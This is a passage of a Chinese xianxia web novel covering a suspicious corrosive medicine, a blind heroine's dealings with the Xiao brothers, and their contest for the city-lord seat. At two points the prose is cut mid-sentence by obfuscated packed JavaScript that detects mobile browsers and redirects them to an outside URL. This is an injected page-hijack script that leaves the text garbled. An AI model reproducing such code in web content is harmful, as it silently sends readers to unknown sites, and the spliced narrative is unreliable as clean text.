萧云说:“麻烦您带大夫过去吧,我要再煎一份药。” 商扶庭颔首,带着萧无咎往姜芜的房间走去。 姜芜正凭借着衣裳的料子挑选颜色,最后选了一套粉橘色的衣裙,摸索着给自己梳了一个偏髻。 商扶庭伸手敲了敲房门,“姜芜,你醒了吗?萧大公子请了大夫给你治眼睛。” 姜芜起身前去开门,“有劳大夫了。” 萧无咎肩上挎着药箱,他先是站在门口看了一番姜芜的双眸,随后才抬步进门。 姜芜摸索着坐到桌前,准备煮水沏茶,商扶庭见她动作缓慢又笨拙,索性抢过了她手中的茶匙,默不作声地凿起了茶砖。 萧无咎慢条斯理地将药箱放在桌上,“敢问女郎双眸是如何伤到的?天生眼疾,还是后天不小心?” 姜芜说:“不瞒萧大夫,我的眼睛是因为中毒才失明的。” “中毒?” 姜芜听着商扶庭凿茶砖的声音,有些不满地说:“茶砖要先凿成三份,冲泡的时候三份都要取适量。尽量不要凿得太碎,否则茶渣会太多。” 商扶庭抬眸看了姜芜一眼,放缓了手下的动作。 萧云端了一个托盘进门,将一碗浓稠的药和一碟瓜子糖酥放在了姜芜的面前。 萧无咎拿出脉枕,捏着姜芜的手腕放在了其上,“女郎这毒是如何入体的。” “是毒雾。” 萧云说:“这是一碗强身健体的药,还请女郎趁热服用。” 姜芜蹙眉,她摸索着端起药晚,低头的一瞬间便知晓了药汁的成分。 寂满抱着一堆吃食同雾沅回到小院,刚踏入门口便闻到了一阵血腥味,他吸了吸鼻子,“是有谁受伤了吗?” 雾沅看到了散落在地上的碎片和汁液,神情凝重地说:“并非,很奇怪的东西,草药和鲜血混合在一起,还特意用了遮掩气味的药材。” 寂满快步上前,伸手沾了一些汁液,强烈的钝痛感瞬间从他的指尖蔓延开来,他的手指顿时被灼烧得鲜血淋漓,腐蚀掉皮肉还不算,连带着骨头也进一步侵蚀。 寂满大惊,立刻调动起妖力抗衡,“好强的力量,比万毒门的毒还厉害,这东西喝了岂不是穿肠烂肚?” 雾沅蹙眉,他垂眸同寂满对视一眼,很快两人便察觉到了这碗药的用途,瞬间朝着姜芜的房间跑去。 “千万不要喝!” 雾沅抬手,无形的丝线从他的手腕处弹出,直接击碎了姜芜手中的碗。 寂满立刻将萧云制服,“打着治眼睛的幌子,暗地里究竟藏着什么见不得人的心思?那碗药里到底是什么成分?!” 浓稠的药汁溅在了姜芜的脸上,还有一部分撒到了她的衣服上。 寂满顿时瞪大了眼睛,他正准备埋怨雾沅的莽撞,却发现强烈的腐蚀并没有出现在姜芜的脸上,甚至她的衣服也没有被腐蚀。 萧云神情愤愤地扭头看向寂满和雾沅,“你们两个知不知晓这药材有多珍贵?!” 姜芜挑下了脸上的药汁,张口吮掉了手指上残留的部分,随后饮尽了瓷片中的残留药汁,“下次不必再用这种药材了。” 寂满放开了萧云,走上前一脸震惊地看着姜芜,“你......你也太草率了吧,随随便便什么人给你的东西,你问都不问就喝了?万一是要命的毒药呢?” 姜芜拈了块瓜子糖酥压了压口中的腥味,“因为我知晓不是所以才喝的。” 寂满被气得头脑发昏,他跑到雾沅面前,忍不住控诉道:“你也太草率了,一道暗器飞出去,你也看到了那药的腐蚀性,万一给她毁了容怎么办?” “腐蚀性?!”商扶庭神情诧异地起身,他看着桌上的药碗碎片,“这究竟是何药?!为何具有腐蚀性?” 42. 周旋 萧无咎神色不变,他收回脉枕,低头写着药方,“就是一般强身健体的药。” 寂满厉声道:“你们撒谎!外面院子里撒的不是姜芜刚刚喝的药吗?腐蚀性如硫酸!不信你们可以跟我出去看!我有撒谎的必要吗?” 商扶庭倏地看向了萧云,“萧女使,这究竟是怎么回事?” 萧云抿了抿双唇,她垂着眼眸不敢去看任何人。 姜芜开口打圆场,“你们误会了,可能那碗药被人下了什么东西吧,女使应该回去好好查一查,第一碗药有谁经手,如果第二碗药也有,我早就穿肠烂肚死了,但是我现下还好端端地坐在这里同你们讲话,便证明第二碗药并没有任何问题。” 雾沅见状,他扫视了一番萧无咎和萧云,“在贵府出了这等事情,你们似乎一点都不惊讶。” 萧无咎蹙眉,他背着药箱起身,将一张药方递给了萧云,“这有何好惊讶的?这是敷料,按照这上面的药材取新鲜未晒干的,捣碎出汁液,用于敷眼,三日之后大抵便无碍了。” 寂满上前抢过了那张药方,一目十行得扫视完,“只是一些清热解毒的药材,真的能治她的眼疾吗?你是个大夫,医者仁心,你的药出了问题,你居然这么冷静吗?” 萧无咎抬眸看向寂满,两人之间的气氛顿时到了剑拔弩张的地步。 “医者仁心,我学医是为了救人,我治过的病人很多,见过的生离死别也很多,若是每一位病人我都要去共情,怕是不等我云游四方、悬壶济世,怕是要郁郁而终了。”萧无咎抢过寂满手中的药方,“我是大夫,还是你是大夫,不要以为你能看懂药方,便能治病。除了敷眼之外,还要配合着那副强身健体的药。” 寂满重新将药方抢了过来,“把你那副所谓强身健体的药方写下来,我不信你们。” 姜芜说:“让他们去做便可。” 寂满震惊地看向姜芜,“你当真不怕他们下药害你?” 雾沅也是不解地看着姜芜,随即他便扫到了后者脚边那处地毯上有一小块不易察觉的腐蚀痕迹,这块痕迹在昨日是不曾存在的,而且十分的新鲜。 雾沅看向姜芜的眼神逐渐凝重,随后他扯住了寂满,“把药方给他们吧。” 寂满甩开雾沅的手,质问道:“你这人怎么胳膊肘往外拐,姜芜万一被人毒死了怎么办?” 雾沅摇了摇头,“不会的,你相信我。” 萧云见状立刻上前对寂满说:“还请将药方还给我。” 寂满看着萧云耀武扬威的模样,心中顿感不爽,他随手将药方递给萧云,从纸袋中摸出一个包子来愤愤地咬着。 姜芜开口道:“麻烦你告诉萧大公子,强身健体的汤药之后不用送了,敷料即可。” 萧云垂眸,“这个我恐怕无法做主,不如姜女郎随我一同前往,与大人说清楚。” 寂满顿时拍桌而起,“你们的算盘打得可太响了!我告诉你们!别太过分!” 商扶庭也觉得事情蹊跷,他面色凝重地说:“这不太妥吧。” 萧云对其余的声音充耳不闻,一直等着姜芜的回答。 “烦请带路。” 萧云面上露出笑容,“还请女郎稍等片刻,换身衣裳,我唤人抬来轿撵。 寂满见萧云离开,立刻冲到姜芜面前质问道:“你这是为何?不怕羊入虎口?” “谁是羊?谁是虎?”姜芜端起茶碗,抿了一口热茶,“没有其他事情的话,不如去去找萧高瞻或者萧无祸聊聊,尽快离开这个是非之地才是首要的,其余的不过虚与委蛇,你们先出去吧,我要更衣。” 商扶庭欲言又止地看着姜芜,随后放下茶匙走了出去。 寂满也神情愤愤地被雾沅带了出去。 姜芜又陷入了为难的境地,将所有的衣服翻来覆去,最终挑了一件银线蝴蝶的黑衣,罩着扎染白线的外袍。 商扶庭思来想去觉得昨夜之事有些蹊跷,于是便同沈确去寻了白面书生所居住的小院。 沈确问道:“师兄,你有何疑虑?” 商扶庭摇了摇头,“不知道,总要去看才知晓,毕竟我们昨日见过白面书生,若是没有可疑之处,去悼念一下也是应该的。” 白面书生的尸体已经被敛进了棺椁之中,商扶庭同沈确刚踏进院门便听到了剧烈的争吵声。 “这也太诡异了吧,老三好歹也是金丹期修士,身上怎么会一点伤口都没有?” “鬼族人有这么厉害吗?让老三毫无还手之力?” “怕就怕并不是鬼族人,而是有人趁乱报私仇!” “打扰了。”商扶庭进门后抱剑施礼,“我们是五行道宗的弟子,商扶庭。” 沈确颔首,“沈确。” 商扶庭说:“听说昨夜白面书生不幸罹难,我同书生前辈有过几面之缘,所以想着来悼念番。” 堂中之人闻言面色多少有些缓和,腰间挂着软鞭的红衣女子上前抱拳,“二位有心了。” “其实我还有个不情之请。”商扶庭说,“听闻书生前辈死因同萧城主别无二般,所以便想着来查看尸首,看看是否能找到些蛛丝马迹,抓住鬼族人的踪迹,毕竟荆州城百姓也苦鬼族人久矣。” 首座上的男人突然站了起来,他手中拿着拐杖,形如乞丐,披头散发,他仔细地打量了一番商扶庭,“小道长,你是否曾经去过闻香镇?是否还记得我们在围剿蝶妖的酒楼里有过一面之缘。” 商扶庭回想起闻香镇的事情,面色紧绷,但依旧恭恭敬敬地叫了一声前辈,“许久不见。” 拐杖李说:“你当日也是见到了那女修罗的模样,可觉得你救助的瞎眼孤女同那女修罗模样相似?” 沈确闻言神情忧愁地看向商扶庭。 和尚突然念了一句法号,他转动着佛珠起身,“白施主和萧城主同样都是被挖了心,唯一的区别便是白施主的伤口中并没有法术残留,而萧城主的伤口却是一片鬼气森森,实在是可疑,不像是同一伙人所为。萧城主的伤口应该是真正的鬼族人所为,而白施主怕是有人趁机作乱,浑水摸鱼,将大家的注意都集中于鬼族人身上。” 拐杖李问道:“昨日你们走后。灵堂中又死了一个人,你们可否查看过?看衣着像是萧府中的下人。” 商扶庭摇了摇头。 “姜女郎,小心脚下台阶。” 萧云搀扶着姜芜,出声提醒着。 姜芜在廊庭中站定,漫不经心地出声问道:“可还习惯?” 萧云垂眸,腰身微欠,视死如归地说:“习惯的,我的命是大人救的,我愿意为大人赴汤蹈火。” “挺好。” 姜芜面上笑意不变,她拿着手杖向内走去,提着衣摆迈过门槛,在中厅站定。 萧云看着姜芜的背影,有些拿捏不准后者的意思,她咬了咬嘴唇,转身离开。 “今日多谢萧大公子好意,我只用药敷即可,不必再多加一副强身健体的汤药了,里面药材珍贵,不必浪费在我一个瞎眼孤女身上。” 萧舒延从内间走出,他看着姜芜开口问道:“即便如此,姜女郎还是自称为瞎眼孤女吗?” 姜芜伸手摸了摸自己的眼睛,“孤身一人又瞎了眼睛,怎么不是瞎眼孤女了?还是说萧大公子察觉到了什么,从而有事求我?” 萧舒延垂眸,将手中的书卷放置一旁,“姜女郎吃过早饭了吗?” 不等姜芜回答,萧舒延便唤人端上了早饭。 姜芜挑眉,她刚要开口,萧云便上前来扶她入座,将一碗雪梨银耳红枣粥放在了她的手边。 “女郎小心烫。” 萧舒延撩开外袍的下摆坐到姜芜对面,“下去吧,不用在此候着。” 姜芜伸手摸到碗沿,不小心碰到汤勺发出一阵清脆的磕碰声,“看来萧大公子有事相求。” 萧舒延低声道:“助我登上城主之位,有五行道宗的人簇拥,名正言顺,令人信服。” 姜芜搅着碗中的热粥,梨肉的清香、红枣的郁甜以及糙米的糯香散了出来,她别住耳边的碎发,低头尝了一小口。味道很可口,银耳鲜滑弹牙,梨块保留了几分脆爽,整体软烂粘稠。 “若是我没记错,萧大公子的修为乃当世第一人,为何会觉得自己的名不正言不顺,不能令人信服呢?还是说萧大公子你心中有鬼呢?” 萧舒延垂眸看着姜芜衣服上的银线蝴蝶,起身朝她走了过去。 “做何?” 姜芜察觉到萧舒延坐在了她身侧的位置,立刻放下了手中的汤勺。 萧舒延端起姜芜的碗,“只是我察觉到我三弟与鬼族做了些见不得人的交易,他有鬼族助力想登上城主之位简直轻而易举,到时他与傀儡无疑,怕是荆州城的百姓要陷入水深火热之中了,女郎便多多为无辜之人考虑。” 姜芜脸上笑意渐深,“这番话可以用到萧大公子身上吗?” 萧舒延低头尝了尝勺中粥的冷热,并没有理会姜芜的话中有话,反而是将勺子举到了她的唇边。 “张嘴。” 姜芜笑着说:“萧大公子这是何意?我们之间并不熟络,也仅仅只有几面之缘,这般如此,是否太亲密了?” 萧舒延神情有些无奈,沉默不语地用勺子碰了碰姜芜的下唇。 姜芜开口道:“放那吧,我也不是很饿。” 萧舒延蹙眉,执拗地说:“姜芜,吃饭。” 姜芜说:“那副强身健体的药也不用再煮了,我不会喝的。” “吃饭。” 姜芜抿了抿双唇,妥协道:“桌上还有什么?” “蟹黄包,要吃吗?” “要。” 寂满坐在廊庭的围栏上,一脸幽怨地看着院门,“她为何还不回来?是不是被困住了,正等着我们去救她?” 雾沅伸手拍了拍寂满的肩膀,并施力按揉了几下,“放宽心。” 商扶庭同沈确一脸愁容地从外走进来。 寂满从围栏上跳了下来,开口问道:“小道士,你们去哪了?” 沈确说:“我们去看了看昨夜死的修士的尸体,很奇怪,他的伤口上并无法术残留,身上也没有挣扎后的受伤痕迹,同萧城主不一样,但他们都是一击毙命。” 商扶庭思索了片刻,随即转身向外走去。 寂满倏地看向了商扶庭,神情惊喜地问道:“你要去救姜芜?” 商扶庭面露窘迫,“不是,是去找萧三公子,借避火瓶。” 寂满脸上的神情顿时衰败了下去,他托着腮一脸生无可恋地看着院门。 商扶庭蹙眉,“你为何这么关心她?不如去跟萧二公子聊一聊,问一问府里最近有没有怪事。毕竟昨日死了两个人,除了白面书生之外,还有一名萧府下人,或许这萧府里有很多不为人知的秘密。” 寂满神情厌厌地说:“找他聊做什么?他又没有避火瓶,你们去找萧无祸就是,他借了避火瓶,我们马上就能走。” “也好,我同师妹去试试。”说完,商扶庭便同沈确离开了小院。 寂满愤愤起身,“就让姜芜留在此处做少夫人得了,还找什么圣物,封印什么无幻之境。” 雾沅说:“阿满,你错了,我们此行的目的是阻止修复无幻之境的结界,找到破解昆仑山封印的法子,让戾气与灵气流通起来,拯救大荒。” 寂满偏头去看雾沅,“谁同你说的?我父亲吗?” 雾沅摇了摇头,“不,是姜芜,倒是你为何今日一改常态?” 寂满蹙眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287626|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面色逐渐凝重,随口道:“我只是觉得这萧家人没一个好东西。” 雾沅微微一笑,“走吧,我们去探探萧高瞻的口风。” 玉兰花开得早,第一缕春风便能催生出满树的花骨朵,其叶未生,花开满树,香气淡雅,犹如树上莲花,郁郁蓊蓊地压满枝头,白似雪,红若焰。 萧无祸抬手折下一支红玉兰,“好看吗?” 萧蔚颔首,笑容璨然,“好看的。” 萧无祸抬眸看向萧蔚,伸手拍了拍轮椅的扶手。 萧蔚不解,依旧照做,她侧身坐在草地上,伏在萧无祸的膝头,神情乖巧。 萧无祸打量了一番,随即准备将手中的红玉兰别在萧蔚的发髻中。 “三郎不可。”萧蔚起身按住萧无祸的手,“三郎父亲刚过世,此时不宜带艳色。” “你爱穿白衣,身上从不带其他颜色,但是艳色更衬你,好看。”萧无祸捻着手中的红玉兰,“没关系,只在院中戴。” 萧蔚笑着伏在了萧无祸的膝头,“都听三郎的。” 萧无祸将红玉兰别在了萧蔚的发间,不带情色得抚摸着她的脸颊,双眸中甚至没有丝毫的感情,一片冰冷。 萧蔚合上双眸,阳光绒绒,她喜爱阳光,更喜爱萧无祸温暖的怀抱。 “烦请通报一下,五行道宗商扶庭、沈确有事求见萧三公子。” 萧无祸蹙眉,“五行道宗的人?他们来做何事?” 萧蔚闻声起身,垂眸整理着身上的杂草,“三郎要见他们吗?” 萧无祸沉思了片刻,随后才说:“见见吧,请他们过来。” 商扶庭同沈确走进了凉亭,萧蔚将两杯热茶放在了两人面前,随后便坐在萧无祸身侧整理着昨日采摘的覆盆子。 “萧三公子,叨扰了。” 萧无祸抬眸看了商扶庭和沈确一眼,“坐吧,你们来寻我何事?” 商扶庭同沈确对视一眼,“不瞒萧三公子说,我们此次前来是想同您借用避火瓶一用。” 萧无祸冷笑一声,“避火瓶?你们说话真是直接,不再客套周旋一番吗?” 商扶庭讶然,他抬眸有些无措地看着萧无祸,“萧三公子是想我们如何周旋?” “ 萧蔚将一捧摘好的覆盆子放在了萧无祸的手边,笑着说:“三郎,他们年纪还小,不要这么吓唬他们。” 萧无祸闻眼敛眸,捻了一颗鲜红的覆盆子扔进了口中,气势不再像方才那般咄咄逼人,“既然你们想要避火瓶,我也是有条件的。只要你们能达到,我必定会将避火瓶双手奉上。” 商扶庭蹙眉,“还请萧三公子明示。” 萧无祸说:“我父亲将于两日后下葬,到时他身边的管事会宣读谁是下一任新城主,我需要你们帮我拿下城主之位,到时候别说区区避火瓶,我愿意为长衡山五行道宗再提供十年的法器。” 沈确一惊,十年的法器并不是小数目,萧无祸开出此等条件便是拿准了他们不会拒绝。 不仅是他们不会拒绝,是个人都不会拒绝萧无祸的如此条件,荆州萧氏以炼器闻名,几百年来出了萧无祸这么一个炼器天才,他大哥萧舒延是当世修为第一人又如何,没有顶级法器的辅佐,他未必能赢得过双腿残疾的萧无祸。 沈确说:“就事论事,萧三公子上面还有两位哥哥,这城主之位落到萧三公子身上的概率很小,除非用采用武力。但是以我与师兄二人的修为,萧三公子恐怕是找错人了。” 萧无祸挑眉,“两个被称为五行道宗的双璧,手持太初与太阿两柄神兵利器,身侧又有两只大妖傍身,以你们的修为还对付不了萧舒延和萧高瞻两个猖/妓之子吗?况且还有那个来历不明的女人。” 商扶庭面色一紧,神情逐渐阴沉了下去,他握紧了手中的太初剑,“萧三公子不愧是几百年来的炼器天才,能够如此轻而易举地看穿他们的身份。” 萧无祸追问道:“那个女人是什么身份?” 商扶庭面色不改,“只是我们在路上救助的一位瞎眼孤女。” “真的假的?”萧无祸狐疑地看向二人,“既然这样的话,杀掉也无所谓吧,听说今日一早她便去了我大哥处,她去做何事?” 商扶庭眉心微不可查地一蹙,很快恢复正常,他用脚轻轻地碰了碰沈确。 沈确立刻会意,神情惊道:“为何要杀掉她?她已经够可怜了。她去萧大公子处只是为了答谢救助之恩而已。” 萧无祸脸上笑意更深,“没什么,只是我从小便喜欢抢我大哥的东西而已。避火瓶的事情,需要给你们时间考虑吗?考虑到明日也是可以的。” 商扶庭说:“此事事关重大,今夜亥时初,我必定给予答复,如果萧三公子不方便的话,还请这位女郎前往。” 萧无祸仰头喝干了杯中的茶,“好啊,萧蔚替我送送二位。” 萧蔚颔首起身,将竹篮放在一旁,“二位请吧。” “不必,留步吧。” 商扶庭说完起身同沈确走了出去。 萧蔚坐回原处,她抿着唇,一脸幽怨地看着萧无祸,“三郎。” 萧无祸见状,将一颗覆盆子抵入萧蔚的口中,“怎么?吃味了?” “三郎说过,只喜欢我一个的......” 萧蔚惊呼一声,整个人顺着萧无祸的力道跌入他的怀中,覆盆子酸甜的味道在两个人的唇齿间蔓延。 萧蔚一脸无奈地看着萧无祸,娇嗔着拍了拍后者的胸膛,“三郎。” 萧无祸点了点萧蔚挺翘秀气的鼻尖,“你啊,不要什么话都往心里听。” 萧蔚双手捂住自己的心口,“三郎的每句话,我都会听的,也会往心里放,所以还请三郎不要说些伤我心的话。” 43. 蔷薇 萧高瞻拿着小木扫怂恿着罐中的促织,听到婢子通报时双眸中闪过一丝惊讶,“你说谁来找我?” 婢子说:“他们自称是五行道宗的人。” “五行道宗?他们来找我做何事?”萧高瞻心有疑虑,“让他们进来吧,记得泡好茶送来。” 雾沅抬手施礼,“二公子。” 萧高瞻笑着说:“原来是五行道宗的尊者,快快请坐。” 寂满闻言,动作迟钝了一瞬,随即面有菜色地在椅子上坐好。 萧高瞻问道:“不知二位尊者找我何事?” 雾沅面不改色地开口道:“突然登门拜访有些唐突了,但是我们是想来了解一番有关于挖心一事的前因后果。” 萧高瞻面色凝重,他伸手摸了摸下颌,“挖心?不瞒两位,此事已经持续有五六年的时间了。起初只是每隔三个月在城中会出现一个被挖心的死者,男女老少都会有,没有丝毫地规律,凶手手段残忍,根本追查不到,后续便是越发频繁,已经缩短至七日一次。” 雾沅蹙眉,“为何昨日死了两位呢?除了夜晚的白面书生外,听说还有一位是白日里死在灵堂的下人?不知是否仔细检查过?” 萧高瞻说:“这我便不清楚了,这些事一直都是由我大哥来处理。” “拐弯抹角。” 寂满小声嘀咕道,随即对萧高瞻放开了声音。 “怪事呢?你们府上最近有没有发生什么怪事?” 萧高瞻单纯地眨了眨眼,神情空白地问道:“怪事?何事算怪啊?” 寂满眨了眨眼睛,仰着下颌说:“当然是跟平常不一样的事情,都算怪事,尤其是你觉得奇怪的事情。” 萧高瞻摸着下巴煞有其事地说:“我三弟无祸五年前带回来一个貌美如花的女人算不算?不仅仅是我三弟,我大哥前段时间也带回来一个漂亮女人,你们说下次是不是就轮到我了?” 萧高瞻说完脸上露出一个期待的笑容。 寂满扶额,神情有些无语,“还有呢?” 萧高瞻正色道:“挖心一事似乎就是从我三弟带回那个女人之后发生的,我大哥私下里也调查过那个女人,没什么特别的。” 雾沅一惊,“当真?” 萧高瞻颔首,“如果我没记错的话。” 雾沅问道:“请问二公子,昨日死的那名下人,尸首存放在何处?” 萧高瞻说:“应该已经到了城外义庄了吧。” 姜芜躺在摇椅上晃着手中的团扇,散着眼上药敷的气味,阳光落在她的身上,勾出了一丝久违的惬意。 萧舒延取了一方矮凳坐在了一侧,他伸手抬起姜芜的左腿搭在了自己的膝头,将她的长靴取了下来,将药膏在自己掌心捂化,然后在她腿上的淤青处缓缓得揉搓着。 姜芜把团扇搭在自己的鼻尖,不愿意去闻生草药的气味,“萧大公子,这是都忙完了?” 萧舒延听到姜芜对他的称呼,手上用了几分力气,“本来也没何好忙的。” 姜芜缩了一下腿,拿着团扇往一旁挥了一下,“要散瘀血便好好来,心里若是有怨气便自己安静待着,不要来作践别人的好心情。” 萧舒延托着姜芜的膝窝,将她往下扯了一番,“你有何好心情?不如同我分享一下,也让我也高兴高兴。” 姜芜将团扇放在一旁,一手捂住眼上的药敷,另一只手握紧扶手稳住身体,惊道:“药敷要散了。” “可以了,能取下来了。”说完,萧舒延便起身,拿了帕子去摘姜芜脸上的药敷,他先是揭下厚重的纱布,动作轻柔地抿去草药残渣。 姜芜随口抱怨道:“难闻死了。” 萧舒延用帕子擦着姜芜脸上残留的药汁,垂眸低首靠近去嗅那股清苦的药味,其中还夹杂着几分甜腻的香膏脂粉味。 “不难闻。” 姜芜感受着温热的气息喷洒在自己的脸上,拿团扇抵住了萧舒延的口鼻,“难闻。” 萧舒延起身,取来新的纱布重新缠在了姜芜的脸上,“敷药期间不能见光,要注意。” “真麻烦,你作践我呢,明明是件很简单的事情。” 萧舒延说:“萧无祸是个天才,有些事情最好不要让他发现。” 姜芜沉默了片刻,随后起身去取自己的鞋子,伸手摸索了半天也没有发现,笑着问道:“萧大公子,我的鞋呢?” 萧舒延重新坐了下来,帮姜芜把靴子穿好,“你急什么?” 姜芜摇着手中的团扇,“天色不早了,我该回去吃午饭了,否则我的同伴要担心了。” “饿了?在这里吃。”说完,萧舒延便俯身把姜芜抱起,预备吩咐人准备午饭。 “哎?”姜芜拿团扇遮住自己的脸,随口调侃,“萧大公子这是做何?无事献殷勤,即便是有求于我,也不必如此。还是觉得我面容姣好,又身世可怜,预备收我做个偏房妾室?” 萧舒延蹙眉,他神情无奈地看着姜芜,“没见过你这般自轻自贱的,有时候我是真不明白,你到底在想何事。” 姜芜拿着扇面敲击着萧舒延的面部,“你想名正言顺的继承城主之位,想要五行道宗的人帮扶,应该去找他们而不是在烦我。” “女郎在烦何事?可是我照顾不周?让女郎心生不悦了?”萧舒延说,“我能想到寻五行道宗的人,我三弟必定也能想到,所以我想押女郎在此做个人质。” 姜芜低声笑了起来,“我对于他们来说很重要吗?怕是比不得避火瓶吧?” 萧舒延提醒道:“得一个空瓶子,没有顒鸟精火也是白搭。”说完,他抱着姜芜向室内走去,绕过屏风将她放在了美人榻上。 姜芜察觉萧舒延在解自己的腰带,用团扇挡了一下,“青天白日要做何事?虽然我现下孤身一人,眼睛又不好,但是我可是有郎君的,萧大公子可不能做抢人妻子的事情。” 萧舒延手上的动作一顿,随后把姜芜的外袍扔在地上,不由分说地将那件银线蝴蝶的中衣脱下,他附在姜芜耳边说:“孤身一人?方才还说要做我妾室,现下又成他人之妻?你的郎君呢?怎么不来找你?嗯?” 姜芜侧身靠在软枕上,神情戏谑,“我郎君呐,谁知道呢,不知晓在哪个温柔乡里强迫他人之妻做妾室呢。” 姜芜说着点了点萧舒延的鼻尖。 萧舒延捏着姜芜的手心,吻了吻她的手指,“以后不准穿这种绣蝴蝶的衣裳。” 姜芜哼笑一声,“萧大公子好生严苛啊,你便是这么对待人质的吗?怎么还管起我的衣食住行来了,蝴蝶而已,又惹到你什么了?算起来,雾沅也只是朋友而已。” 萧舒延沉默,心口浮现出几分异样的感情,他讨厌姜芜这副漫不经心的模样,像是没有羁绊的白柳絮,风往哪里吹她便往哪里去。 他怕这缕白絮不再停留,又怕将白絮捉在手中会毁损。 也讨厌当初为姜芜的武器赋名为“无心乱”,只是希望她不因为杂事烦忧,现下倒是让她成了一个无心的人,万事万物从她心中过留不下一点痕迹,千万年的情谊如同过眼烟云,随便就能放下,伤人的话脱口便出,又能装作若无其事地同他调风弄月。 萧舒延敛眸把姜芜的手心贴在自己的脸颊上,轻柔得吻着、蹭着。 姜芜见萧舒延不语,有些诧异地说:“不许我穿那件,不再给我找件新的吗?还是要我这样走回去?” 萧舒延蹙眉,他看着姜芜衣裳不整的模样,刚要开口便见她俨然一副预备出门离开的模样。 萧舒延伸手把姜芜扯了回来,“为何总要和我反着来?” 姜芜讶然,调侃道:“萧大公子倒打一耙的本事真是高超啊,我们认识满打满算不过才两日光景,为何要对我如此大的敌意?” “姜芜。” 萧舒延盯着姜芜看了片刻,随后无奈地叹了口气,伸手将她拢在怀中,轻柔地拍了拍她的后背。 “不要同我这样。” 姜芜哭笑不得,她非常熟悉这个动作,顿时没了嬉闹的心情,“这又是做何?想如此这般,顺着你的意了,又要生气。” 萧舒延不语,只是取了衣裳帮姜芜穿好。 “午饭想吃什么?” 姜芜说:“我要回去。” 萧舒延应了一声,“好,我让萧云送你回去。”说完,他从袖袋中将事先准备好的钱袋放在了姜芜的手上。 姜芜颠了颠手中的钱袋子,里面金珠碰撞的悦耳声音比不上她心中的雀跃。 商扶庭同沈确回来时恰逢姜芜从轿撵上走下来,两人一同停下了脚步。 沈确抬眸去看商扶庭,“师兄,我们要如何选择?姜芜会因为眼睛的事情而跟我们反着来吗?” 商扶庭说:“我不知道,但愿事情不要朝着那个方向发展。” 【小院前堂】 “这么巧吗?” 姜芜端起面前的茶杯,脸上浮现出一份揶揄的笑容。 沈确问道:“巧?你什么意思?” “我的意思是萧舒延也是同我这么说的。”姜芜感叹道,“权力真是让人心驰神往,前仆后继。” “之前你说萧三公子同鬼族有往来,会不会萧大公子也同其他人有来往?”说完,沈确看了一眼姜芜,又看了一眼刚好从外赶回来的雾沅和寂满。 “你们在谈论何事?” 沈确简单地将事情从头至尾叙述了一遍。 雾沅开口道:“不,萧无祸身侧也有妖族的存在,我虽然与那妖怪交过手,但是未曾察觉出它是哪路妖怪。” 姜芜抿了一口茶水,“我并没有察觉到荆州城内有修罗的存在。” 商扶庭长叹了一口气,有些左右为难,避火瓶固然重要,但是荆州也不能落在鬼族的掌控之下。 “我们要如何?” 姜芜说:“都帮,但是也都不帮。” 沈确问道:“何意?” “表面上,帮萧无祸是因为避火瓶,帮萧舒延是因为我的眼睛。”姜芜说,“实际上,我们可以帮萧高瞻。” 沈确蹙眉,“帮萧高瞻?为何?他似乎对荆州城城主之位无意。” “等等!”寂满捶了捶自己的脑袋,强迫自己快想,然后抬眸看着姜芜质问道,“为何我们要表面上帮萧舒延,而不是实际上帮萧舒延。接触下来,萧高瞻就是个草包枕头,帮他没用处的。姜芜,你是不是知道什么?而且在瞒着我们?还有你去了萧舒延那里,回来衣裳便换了,你们做了什么事?!需要换衣裳!” 商扶庭这才发觉姜芜换了身衣裳,不再是清早出门时穿的那件黑色长袍,而且是一件蓝紫色的绣着向阳花的外袍,中衣是件浅色的高领对襟,衬得她温婉又明媚,像是春日的太阳。 “我喜欢漂亮衣服,而且有很多,换衣服不过是挥挥手的功夫,有何问题?”姜芜气定神闲地说,“我只是觉得萧舒延过于的急功近切,你们想他分明是当时修为第一人,却怕自己继承城主之位名不正言不顺,不觉得他可疑吗?而且他为何要对我毫无保留?就不能说一半留一半吗?我同他又不慎熟悉,而萧高瞻只是无奈之举。” 沈确点了点头,“也是,而且萧三公子曾说他同萧二公子是猖/妓之子。以这种身份继位,怕是难以服众。” 寂满抓着姜芜的话不放,“你就不能对我们说一半留一半吗?” “猖/妓之子可能只是一个贬低人的词,未必事实便是如此。”姜芜脸上笑意不减,“我们是一条船上的蚂蚱,船翻了,大家都得死,我又何必如此做,但凡我保留的都是没必要说的,我又不会害你们。” 寂满想起螭吻同他说的话,心里又急又气。 商扶庭开口道:“寂满,你最近真的很奇怪。” 寂满神情诧异地摸了摸自己的脸,随后愤愤地起身,“姜芜。” 姜芜问道:“嗯?有心事跟我说?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292841|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 寂满低着头往凉亭外走去,“你跟我出来一下。” 雾沅立刻出声警告道:“寂满。” 寂满抿紧了双唇,“我知道了,我心里有数。” 商扶庭见二人出门,抬眸看向雾沅,“调查的如何?” 雾沅如实说:“昨日死去的下人身上并无法术痕迹,也没有挣扎痕迹,一击被人掏出了心脏。” 商扶庭蹙眉,“同白面书生一样,莫非挖心的有好几人?” 姜芜她用无心乱化了手杖,步履缓慢地跟着寂满向外走去。 寂满走出小院,在院门口等了姜芜片刻,见她出来之后,才怒气冲冲地上前扯着她的手腕往一旁的石子路上走去。 